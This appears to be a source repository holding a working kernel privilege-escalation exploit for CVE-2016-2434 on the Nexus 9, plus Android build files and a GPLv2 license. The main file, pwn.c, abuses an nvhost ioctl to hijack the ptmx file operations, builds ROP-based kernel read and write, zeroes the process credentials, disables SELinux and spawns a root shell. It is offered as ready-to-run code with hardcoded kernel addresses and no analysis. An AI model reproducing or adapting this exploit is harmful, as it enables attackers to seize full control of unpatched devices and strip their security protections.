├── README.md ├── jni ├── Application.mk ├── Android.mk ├── syscall.S └── pwn.c └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-2434 -------------------------------------------------------------------------------- /jni/Application.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | APP_ABI:= arm64-v8a 5 | 6 | -------------------------------------------------------------------------------- /jni/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | LOCAL_MODULE := pwn 5 | LOCAL_SRC_FILES := pwn.c syscall.S 6 | 7 | include $(BUILD_EXECUTABLE) 8 | -------------------------------------------------------------------------------- /jni/syscall.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Exploit for CVE-2016-2434 (AndroidID-27251090) 3 | * 4 | * Just for Nexus 9 MMB29R, if you want to run on other version, some symbol address should be changed 5 | * 6 | * shell@flounder:/ $ getprop ro.build.fingerprint 7 | * google/volantis/flounder:6.0.1/MMB29R/2482564:user/release-keys 8 | * 9 | * By Jianqiang Zhao (zhaojianqiang1@gmail.com, twitter: @jianqiangzhao) 10 | * 11 | * 2-22-2016 12 | */ 13 | 14 | #define __ASSEMBLY__ 15 | 16 | #define ALIGN .align 4,0x90 17 | 18 | #ifndef ENTRY 19 | #define ENTRY(name) \ 20 | .globl name; \ 21 | ALIGN; \ 22 | name: 23 | #endif 24 | 25 | #ifndef END 26 | #define END(name) \ 27 | .size name, .-name 28 | #endif 29 | 30 | 31 | /* 32 | 00000000000198e4 : 33 | 198e4: aa0003e8 mov x8, x0 34 | 198e8: aa0103e0 mov x0, x1 35 | 198ec: aa0203e1 mov x1, x2 36 | 198f0: aa0303e2 mov x2, x3 37 | 198f4: aa0403e3 mov x3, x4 38 | 198f8: aa0503e4 mov x4, x5 39 | 198fc: aa0603e5 mov x5, x6 40 | 19900: d4000001 svc #0x0 41 | 19904: b140041f cmn x0, #0x1, lsl #12 42 | 19908: da809400 cneg x0, x0, hi 43 | 1990c: 54040728 b.hi 219f0 <__set_errno_internal> 44 | 19910: d65f03c0 ret 45 | */ 46 | 47 | ENTRY(eabi_syscall) 48 | mov x8, x0 49 | mov x0, x1 50 | mov x1, x2 51 | mov x2, x3 52 | mov x3, x4 53 | mov x4, x5 54 | mov x5, x6 55 | svc #0x0 56 | ret 57 | END(eabi_syscall) 58 | 59 | -------------------------------------------------------------------------------- /jni/pwn.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Exploit for CVE-2016-2434 (AndroidID-27251090) 3 | * 4 | * Just for Nexus 9 MMB29R, if you want to run on other version, some symbol address should be changed 5 | * 6 | * shell@flounder:/ $ getprop ro.build.fingerprint 7 | * google/volantis/flounder:6.0.1/MMB29R/2482564:user/release-keys 8 | * 9 | * By Jianqiang Zhao (zhaojianqiang1@gmail.com, twitter: @jianqiangzhao) 10 | * 11 | * 2-22-2016 12 | */ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #define ioctl_syscall(n, efd, cmd, arg) \ 28 | eabi_syscall(n, efd, cmd, arg) 29 | 30 | #define NVHOST_IOCTL_MAGIC 'H' 31 | 32 | #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \ 33 | _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier) 34 | 35 | #define NVMAP_IOC_MAGIC 'N' 36 | 37 | #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle) 38 | 39 | #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle) 40 | 41 | #define NVMAP_HEAP_IOVMM (1ul<<30) 42 | 43 | #define NVMAP_HANDLE_WRITE_COMBINE (0x1ul << 0) 44 | 45 | struct nvhost_set_error_notifier { 46 | __u64 offset; 47 | __u64 size; 48 | __u32 mem; 49 | __u32 padding; 50 | }; 51 | 52 | struct nvmap_create_handle { 53 | union { 54 | __u32 id; /* FromId */ 55 | __u32 size; /* CreateHandle */ 56 | __s32 fd; /* DmaBufFd or FromFd */ 57 | }; 58 | __u32 handle; /* returns nvmap handle */ 59 | }; 60 | 61 | struct nvmap_alloc_handle { 62 | __u32 handle; /* nvmap handle */ 63 | __u32 heap_mask; /* heaps to allocate from */ 64 | __u32 flags; /* wb/wc/uc/iwb etc. */ 65 | __u32 align; /* min alignment necessary */ 66 | }; 67 | 68 | #define NEW_PROC_NAME "My-Expl0it" 69 | #define KERNEL_BASE 0xffffffc000000000 70 | 71 | #define PTMX_MISC 0xffffffc0010aa500 72 | #define PTMX_FOPS 0xffffffc0010aa420 73 | #define PTMX_LLSEEK 0xffffffc000194630 74 | #define PTMX_READ 0xffffffc0003ed2a8 75 | #define PTMX_WRITE 0xffffffc0003ed8d4 76 | #define PTMX_POLL 0xffffffc0003ed468 77 | #define PTMX_IOCTL 0xffffffc0003efe2c 78 | #define COMPAT_PTMX_IOCTL 0xffffffc0003ed388 79 | #define PTMX_OPEN 0xffffffc0003f8974 80 | #define PTMX_RELEASE 0xffffffc0003ef5b8 81 | #define PTMX_FASYNC 0xffffffc0003ed254 82 | 83 | #define SELINUX_ENFORCING 0xffffffc00109cb0c 84 | #define INIT_TASK 0xffffffc000e58820 85 | 86 | /* 87 | * rop read: 88 | * ffffffc00033d7f8: f9400840 ldr x0, [x2,#16] 89 | * ffffffc00033d7fc: d65f03c0 ret 90 | */ 91 | #define ROP_READ 0xffffffc00033d7f8 92 | 93 | /* 94 | * rop write: 95 | * ffffffc00082836c: b9001041 str w1, [x2,#16] 96 | * ffffffc000828370: d65f03c0 ret 97 | */ 98 | #define ROP_WRITE 0xffffffc00082836c 99 | 100 | static unsigned long my_task = 0; 101 | static unsigned int task_offset = 616, comm_offset = 1168, cred_offset = 1160; 102 | 103 | static int ptmx_fd = 0; 104 | static unsigned long fake_ptmx_fops = 0; 105 | 106 | static int kernel_read_32(unsigned long addr, unsigned int *val); 107 | static int kernel_read(unsigned long addr, unsigned long *val); 108 | static int kernel_write_32(unsigned long address, unsigned int value); 109 | static int kernel_write(unsigned long addr, unsigned long val); 110 | 111 | static int get_task_by_comm(unsigned long *task) 112 | { 113 | unsigned int comm0, comm1, comm2; 114 | unsigned long task_list, init_task_list, addr; 115 | int i, ret = 0; 116 | char task_name[50] = {0}; 117 | 118 | /* 119 | * follow the init_task->task list to search myself: 120 | * next: swapper->init->kthreadd->... 121 | * pre: swapper->...->myself->... 122 | */ 123 | task_list = (INIT_TASK + task_offset); 124 | init_task_list = task_list; 125 | for(i=0; i<1000; i++) { 126 | /* search self process from tail */ 127 | addr = task_list + 8; 128 | ret = kernel_read(addr, &task_list); 129 | 130 | if(task_list == init_task_list) { 131 | printf("search task list end, can't get task\n"); 132 | return -1; 133 | } 134 | 135 | addr = task_list - task_offset + comm_offset; 136 | ret = kernel_read_32(addr, &comm0); 137 | 138 | addr = task_list - task_offset + comm_offset + 4; 139 | ret = kernel_read_32(addr, &comm1); 140 | 141 | addr = task_list - task_offset + comm_offset + 4 * 2; 142 | ret = kernel_read_32(addr, &comm2); 143 | 144 | memcpy(task_name, &comm0, 4); 145 | memcpy(task_name + 4, &comm1, 4); 146 | memcpy(task_name + 8, &comm2, 4); 147 | if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) { 148 | *task = task_list - task_offset; 149 | break; 150 | } 151 | 152 | } 153 | 154 | return 0; 155 | } 156 | 157 | static int do_root(void) 158 | { 159 | int ret; 160 | unsigned long i, cred, addr; 161 | unsigned int tmp0; 162 | 163 | /* search myself */ 164 | ret = get_task_by_comm(&my_task); 165 | if(ret != 0) { 166 | printf("[-] get myself fail!\n"); 167 | return -1; 168 | } 169 | 170 | if(!my_task || (my_task < 0xffffffc000000000)) { 171 | printf("invalid task address!"); 172 | return -2; 173 | } 174 | 175 | ret = kernel_read(my_task + cred_offset, &cred); 176 | if (cred < KERNEL_BASE) return -3; 177 | 178 | i = 1; 179 | addr = cred + 4 * 4; 180 | ret = kernel_read_32(addr, &tmp0); 181 | if(tmp0 == 0x43736564 || tmp0 == 0x44656144) 182 | i += 4; 183 | 184 | addr = cred + (i+0) * 4; 185 | ret = kernel_write_32(addr, 0); 186 | addr = cred + (i+1) * 4; 187 | ret = kernel_write_32(addr, 0); 188 | addr = cred + (i+2) * 4; 189 | ret = kernel_write_32(addr, 0); 190 | addr = cred + (i+3) * 4; 191 | ret = kernel_write_32(addr, 0); 192 | addr = cred + (i+4) * 4; 193 | ret = kernel_write_32(addr, 0); 194 | addr = cred + (i+5) * 4; 195 | ret = kernel_write_32(addr, 0); 196 | addr = cred + (i+6) * 4; 197 | ret = kernel_write_32(addr, 0); 198 | addr = cred + (i+7) * 4; 199 | ret = kernel_write_32(addr, 0); 200 | 201 | //securebits: cred[i+8] 202 | // for full capabilities 203 | addr = cred + (i+9) * 4; 204 | ret = kernel_write_32(addr, 0xffffffff); 205 | addr = cred + (i+10) * 4; 206 | ret = kernel_write_32(addr, 0xffffffff); 207 | addr = cred + (i+11) * 4; 208 | ret = kernel_write_32(addr, 0xffffffff); 209 | addr = cred + (i+12) * 4; 210 | ret = kernel_write_32(addr, 0xffffffff); 211 | addr = cred + (i+13) * 4; 212 | ret = kernel_write_32(addr, 0xffffffff); 213 | addr = cred + (i+14) * 4; 214 | ret = kernel_write_32(addr, 0xffffffff); 215 | addr = cred + (i+15) * 4; 216 | ret = kernel_write_32(addr, 0xffffffff); 217 | addr = cred + (i+16) * 4; 218 | ret = kernel_write_32(addr, 0xffffffff); 219 | /* success! */ 220 | 221 | // disable SELinux 222 | kernel_write_32(SELINUX_ENFORCING, 0); 223 | 224 | return 0; 225 | } 226 | 227 | static void restore(void) 228 | { 229 | unsigned long addr; 230 | 231 | // restore ptmx_cdev->ops 232 | addr = PTMX_MISC + 8 * 10 - 4; 233 | kernel_write_32(addr, 0xffffffc0); 234 | 235 | // reinit ptmx_cdev->list 236 | addr = PTMX_MISC + 8 * 10; 237 | kernel_write(addr, addr); 238 | kernel_write(addr + 8, addr); 239 | } 240 | 241 | static int map_nvmap_handle(unsigned int *handle) 242 | { 243 | int nvmap_fd, ret = 0; 244 | unsigned int cmd; 245 | struct nvmap_create_handle nvmap_arg; 246 | struct nvmap_alloc_handle alloc_arg; 247 | unsigned int nvmap_handle; 248 | 249 | nvmap_fd = open("/dev/nvmap", O_RDONLY, 0); 250 | if(nvmap_fd < 0) { 251 | ret = -1; 252 | printf("[-] Failed to open nvmap device (%d-%s)\n", errno, strerror(errno)); 253 | goto out; 254 | } 255 | 256 | memset(&nvmap_arg, 0, sizeof(nvmap_arg)); 257 | nvmap_arg.size = 0x10000; 258 | 259 | cmd = NVMAP_IOC_CREATE; 260 | ret = ioctl(nvmap_fd, cmd, &nvmap_arg); 261 | if(ret == -1) { 262 | printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno); 263 | goto ioctl_fail; 264 | } 265 | 266 | nvmap_handle = nvmap_arg.handle; 267 | 268 | memset(&alloc_arg, 0, sizeof(alloc_arg)); 269 | alloc_arg.handle = nvmap_handle; 270 | alloc_arg.align = 0x1000; 271 | alloc_arg.heap_mask = NVMAP_HEAP_IOVMM; 272 | alloc_arg.flags = NVMAP_HANDLE_WRITE_COMBINE; 273 | 274 | cmd = NVMAP_IOC_ALLOC; 275 | ret = ioctl(nvmap_fd, cmd, &alloc_arg); 276 | if(ret == -1) { 277 | printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno); 278 | goto ioctl_fail; 279 | } 280 | 281 | *handle = nvmap_handle; 282 | 283 | ioctl_fail: 284 | close(nvmap_fd); 285 | out: 286 | return ret; 287 | } 288 | 289 | static int kernel_write_32(unsigned long addr, unsigned int val) 290 | { 291 | unsigned long arg; 292 | 293 | *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE; 294 | 295 | arg = addr - 16; 296 | ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg); 297 | return 0; 298 | } 299 | 300 | static int kernel_write(unsigned long addr, unsigned long val) 301 | { 302 | unsigned int val32; 303 | 304 | val32 = (unsigned int)val; 305 | kernel_write_32(addr, val32); 306 | 307 | val32 = (unsigned int)((val >> 32) & 0xffffffff); 308 | kernel_write_32(addr + 4, val32); 309 | return 0; 310 | } 311 | 312 | static int kernel_read_32(unsigned long addr, unsigned int *val) 313 | { 314 | int ret; 315 | unsigned long arg; 316 | 317 | *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ; 318 | arg = addr - 16; 319 | errno = 0; 320 | ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg); 321 | *val = ret; 322 | 323 | return 0; 324 | } 325 | 326 | static int kernel_read(unsigned long address, unsigned long *value) 327 | { 328 | unsigned int val0, val1; 329 | 330 | kernel_read_32(address, &val0); 331 | kernel_read_32(address + 4, &val1); 332 | *value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000); 333 | } 334 | 335 | static int rop_init(void) 336 | { 337 | ptmx_fd = open("/dev/ptmx", O_RDONLY); 338 | if(ptmx_fd == -1) { 339 | printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno); 340 | return -1; 341 | } 342 | 343 | return 0; 344 | } 345 | 346 | static int rop_close(void) 347 | { 348 | close(ptmx_fd); 349 | return 0; 350 | } 351 | 352 | static int get_root(void) 353 | { 354 | int fd, i, ret = 0; 355 | unsigned int cmd; 356 | struct nvhost_set_error_notifier arg; 357 | unsigned int nvmap_handle; 358 | void *map, *map2; 359 | unsigned long tmp, va; 360 | 361 | ret = map_nvmap_handle(&nvmap_handle); 362 | if(ret == -1){ 363 | goto out; 364 | } 365 | printf("[+] alloc nvmap handle: %d\n", nvmap_handle); 366 | 367 | map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); 368 | if(map == MAP_FAILED) { 369 | printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno)); 370 | ret = -1; 371 | goto out; 372 | } 373 | printf("[+] landing mmap'ed @ %p\n", map); 374 | memset(map, 0xff, 0x10000000); 375 | 376 | fd = open("/dev/nvhost-vic", O_RDONLY); 377 | if(fd == -1) { 378 | printf("[-] Open nvhost-vic fail (%s - %d)\n", strerror(errno), errno); 379 | ret = -1; 380 | goto open_vic_out; 381 | } 382 | printf("[+] open device nvhost-vic\n"); 383 | 384 | memset(&arg, 0, sizeof(arg)); 385 | arg.mem = nvmap_handle; 386 | arg.offset = (unsigned long)map - 0xffffff8000000000; 387 | arg.size = 0; 388 | cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; 389 | ret = ioctl(fd, cmd, &arg); 390 | if(ret == -1) { 391 | printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno); 392 | goto ioctl_out; 393 | } 394 | 395 | for(i=0; i<0x10000000/8; i++) { 396 | tmp = *((unsigned long*)map + i); 397 | if(tmp == 0) { 398 | break; 399 | } 400 | } 401 | 402 | va = 0xffffff8000000000 + i * 8; 403 | printf("[+] va position: 0x%lx\n", va); 404 | 405 | map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0); 406 | if(map2 == MAP_FAILED) { 407 | ret = -1; 408 | printf("[-] shellcode mmap failed (%d-%s)\n", errno, strerror(errno)); 409 | goto ioctl_out; 410 | } 411 | printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.\n", map2); 412 | memset(map2, 0, 0x10000000); 413 | 414 | fake_ptmx_fops = PTMX_FOPS & 0xffffffff; 415 | *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK; 416 | *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ; 417 | *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE; 418 | *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL; 419 | *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL; 420 | *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL; 421 | *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN; 422 | *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE; 423 | *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC; 424 | 425 | printf("[+] clear ptmx_cdev list first\n"); 426 | memset(&arg, 0, sizeof(arg)); 427 | arg.mem = nvmap_handle; 428 | arg.offset = PTMX_MISC - va + 8 * 10; 429 | arg.size = 0; 430 | 431 | cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; 432 | ret = ioctl(fd, cmd, &arg); 433 | if(ret == -1) { 434 | printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno); 435 | goto ioctl_out_2; 436 | } 437 | 438 | printf("[+] overwrite ptmx_cdev ops\n"); 439 | memset(&arg, 0, sizeof(arg)); 440 | arg.mem = nvmap_handle; 441 | arg.offset = PTMX_MISC - va + 8 * 10 - 4; 442 | arg.size = 0; 443 | 444 | cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER; 445 | ret = ioctl(fd, cmd, &arg); 446 | if(ret == -1) { 447 | printf("[-] Ioctl nvhost-vic fail(%s - %d)\n", strerror(errno), errno); 448 | goto ioctl_out_2; 449 | } 450 | 451 | rop_init(); 452 | 453 | printf("[+] to get root ...\n"); 454 | do_root(); 455 | 456 | printf("[+] restore \n"); 457 | restore(); 458 | 459 | rop_close(); 460 | 461 | ioctl_out_2: 462 | munmap(map2, 0x10000000); 463 | ioctl_out: 464 | close(fd); 465 | open_vic_out: 466 | munmap(map, 0x10000000); 467 | out: 468 | return ret; 469 | } 470 | 471 | static void banner(void) 472 | { 473 | printf("\n"); 474 | printf("*****************************************************************\n"); 475 | printf("* Exploit for CVE-2016-2434 (AndroidID-27251090) *\n"); 476 | printf("* For Nexus 9 MMB29R *\n"); 477 | printf("* By Jianqiang Zhao *\n"); 478 | printf("* 2-22-2016 *\n"); 479 | printf("*****************************************************************\n"); 480 | printf("\n"); 481 | } 482 | 483 | int main(void) 484 | { 485 | int ret; 486 | 487 | banner(); 488 | 489 | prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0); 490 | 491 | ret = get_root(); 492 | if(ret == -1) { 493 | printf("[-] get root fail\n"); 494 | return -1; 495 | } 496 | 497 | printf("[+] SELinux disabled! \n"); 498 | if (!setresuid(0, 0, 0)) { 499 | setresgid(0, 0, 0); 500 | printf("\n[+] Got it :)\n"); 501 | printf("[+] uid=%d gid=%d\n", getuid(), getgid()); 502 | sleep(1); 503 | ret = execl("/system/bin/sh", "/system/bin/sh", NULL); 504 | if( ret ) { 505 | printf("execl failed, errno %d\n", errno); 506 | } 507 | } 508 | 509 | return 0; 510 | } 511 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO 